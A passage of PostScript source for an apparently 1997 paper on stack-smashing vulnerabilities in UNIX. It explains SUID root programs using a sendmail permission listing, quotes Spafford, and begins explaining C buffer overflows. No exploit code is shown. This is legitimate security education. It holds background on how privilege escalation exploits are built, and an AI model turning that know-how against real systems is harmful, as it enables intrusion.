with unrestricted access to the system. For Example:\ ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5513 M 7523 5513 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5508 M 1181 5335 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5508 M 7519 5335 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5334 M 1181 5230 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5334 M 7519 5230 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 5246 M (bash# ls -agl /usr/sbin/sendmail) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5229 M 1181 5125 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5229 M 7519 5125 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5141 M (-r-sr-sr-x 1 root kmem 292686 Mar 11 21:51 /usr/sbin/sendmail ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5124 M 1181 4951 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5124 M 7519 4951 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 4945 M 7523 4945 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3835 4814 M (SUID example 4.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 4545 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1414 4545 M ("s" ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1671 4545 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1856 4545 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2115 4545 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2882 4545 M (portion ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3418 4545 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3613 4545 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3872 4545 M (') ST -8 0 MR (w) ST -8 0 MR (o) ST -9 0 MR (r) ST -9 0 MR (l) ST -9 0 MR (d) ST -9 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4376 4545 M (permission ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5163 4545 M (block ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5588 4545 M (indicates ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6235 4545 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6540 4545 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 6836 4545 M (sendmail ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 4269 M (file ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1489 4269 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1654 4269 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1782 4269 M (set ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2021 4269 M (UID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2371 4269 M (file, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2689 4269 M (root) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3021 4269 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3075 4269 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3240 4269 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3497 4269 M (owner ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3967 4269 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4160 4269 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4417 4269 M (file. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4735 4269 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4909 4269 M (file ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5185 4269 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5544 4269 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5737 4269 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6031 4269 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6196 4269 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6592 4269 M (called ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7043 4269 M ("SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3993 M (root." ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1673 3993 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1918 3993 M (executing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2615 3993 M (sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3279 3993 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3330 3993 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3520 3993 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3728 3993 M (unprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4619 3993 M (user, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4990 3993 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5290 3993 M (underprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6394 3993 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6723 3993 M (temporarily ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3717 M (uses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1554 3717 M (r) ST -5 0 MR (o) ST -5 0 MR (o) ST -5 0 MR (t) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1977 3717 M (privilege ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2628 3717 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2817 3717 M (execute ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 3385 3717 M (sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4049 3717 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4193 3717 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4549 3717 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4720 3717 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5428 3717 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5617 3717 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6029 3717 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6218 3717 M (allow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 6647 3717 M (sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7311 3717 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 3717 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3441 M (update ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1689 3441 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2198 3441 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2383 3441 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2771 3441 M (u) ST -5 0 MR (s) ST -5 0 MR (e) ST -5 0 MR (r) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3190 3441 M (files, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3565 3441 M (something ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4304 3441 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4507 3441 M (underprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5606 3441 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5930 3441 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6281 3441 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6539 3441 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6899 3441 M (access ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 3441 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3165 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1431 3165 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1649 3165 M (default. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2205 3165 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2442 3165 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2734 3165 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3017 3165 M (see, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3324 3165 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3765 3165 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4085 3165 M (permissions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4933 3165 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5189 3165 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5546 3165 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5727 3165 M (grant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6121 3165 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6330 3165 M (unprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7222 3165 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2889 M (temporary, and necessary, use of privileged resources. As Eugene Spafford comm\ ents[6]:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2200 2639 M (``\205Many UNIX programs need to run with superuser privileges. These ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2479 M (programs are run as SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 3691 2479 M (root) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3922 2479 M ( programs, when the system boots, or as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2319 M (network servers. A single bug in any of these complicated programs can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2159 M (compromise the safety of your entire system. This characteristic is probably ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 1999 M (a design flaw, but it is basic to the design of UNIX, and it not likely to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 1839 M (c) ST -1 0 MR (h) ST -2 0 MR (a) ST -2 0 MR (n) ST -2 0 MR (g) ST -2 0 MR (e) ST -2 0 MR (.) ST -2 0 MR (') ST -2 0 MR (' ) ST -11 0 MR ([) ST -2 0 MR (6) ST -2 0 MR (]) ST -2 0 MR (,) ST -2 0 MR (\() ST -2 0 MR (7) ST -2 0 MR (0) ST -2 0 MR (1) ST -2 0 MR (\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 1653 M (Exploitation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2094 1653 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2297 1653 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2601 1653 M (``feature ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3240 1653 M (turned ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3729 1653 M (design ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4227 1653 M (f) ST -10 0 MR (l) ST -10 0 MR (a) ST -10 0 MR (w) ST -11 0 MR (') ST -11 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4647 1653 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4822 1653 M (critical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5348 1653 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5541 1653 M (constructing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6427 1653 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6899 1653 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1377 M (exploits.) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 10 10 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 9823 M (5. UNIX and the C programming language) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9540 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2013 9540 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2475 9540 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3149 9540 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3658 9540 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3815 9540 M (inextricably ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4655 9540 M (linked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5116 9540 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5291 9540 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5540 9540 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5697 9540 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6650 9540 M (language. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7380 9540 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9264 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2190 9264 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2868 9264 M (devloped ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3555 9264 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3799 9264 M (Dennis ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4348 9264 M (Ritchie ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4906 9264 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5104 9264 M (AT&T ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5636 9264 M (Bell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5991 9264 M (Labs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6393 9264 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6600 9264 M (1972, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7052 9264 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7241 9264 M (was ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8988 M (designed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1849 8988 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2032 8988 M (give ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2372 8988 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2629 8988 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3099 8988 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3781 8988 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4298 8988 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4555 8988 M (speed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4988 8988 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5282 8988 M (flexibility ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5991 8988 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6184 8988 M (assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6858 8988 M (language. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8712 M (All ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1468 8712 M (modern ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2022 8712 M (implementations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3176 8712 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3360 8712 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3608 8712 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4069 8712 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4742 8712 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5250 8712 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5499 8712 M (written ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6015 8712 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6189 8712 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6437 8712 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6593 8712 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8436 M (language, including system binaries and the kernel. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8160 M (What ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2127 8160 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2294 8160 M (gains ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2701 8160 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2886 8160 M (simplicity ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3607 8160 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3903 8160 M (efficiency, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4667 8160 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4815 8160 M (sacrifices ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5501 8160 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5686 8160 M (terms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6113 8160 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6308 8160 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6641 8160 M (integrity ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 8160 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7884 M (ease ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1553 7884 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1750 7884 M (use. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2156 7884 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2473 7884 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3095 7884 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3264 7884 M (library ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3766 7884 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3953 7884 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4335 7884 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4809 7884 M (implementations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5976 7884 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6145 7884 M (vulnerable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6905 7884 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7092 7884 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7608 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1927 7608 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2214 7608 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2817 7608 M (leaks. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3290 7608 M (Not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3586 7608 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3762 7608 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3966 7608 M (interpreted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4734 7608 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4920 7608 M (errors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5357 7608 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5533 7608 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5783 7608 M (design ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6264 7608 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6450 7608 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6700 7608 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 7608 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7332 M (assumes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1844 7332 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2135 7332 M (programmer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3048 7332 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3247 7332 M (responsible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4093 7332 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4376 7332 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4741 7332 M (integrity. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5476 7332 M (Once ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5915 7332 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6077 7332 M (variable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6701 7332 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6900 7332 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7056 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1834 7056 M (space ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2270 7056 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2465 7056 M (C, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2684 7056 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2953 7056 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3619 7056 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3990 7056 M (nothing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4563 7056 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4758 7056 M (insure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5231 7056 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5546 7056 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5815 7056 M (expected ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6472 7056 M (contents ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7092 7056 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 7056 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6780 M (variable fit into the allocated memory.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6504 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1872 6504 M (programmers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2814 6504 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3208 6504 M (use ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3482 6504 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3737 6504 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4095 6504 M (buffer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4492 6504 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4544 6504 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4836 6504 M 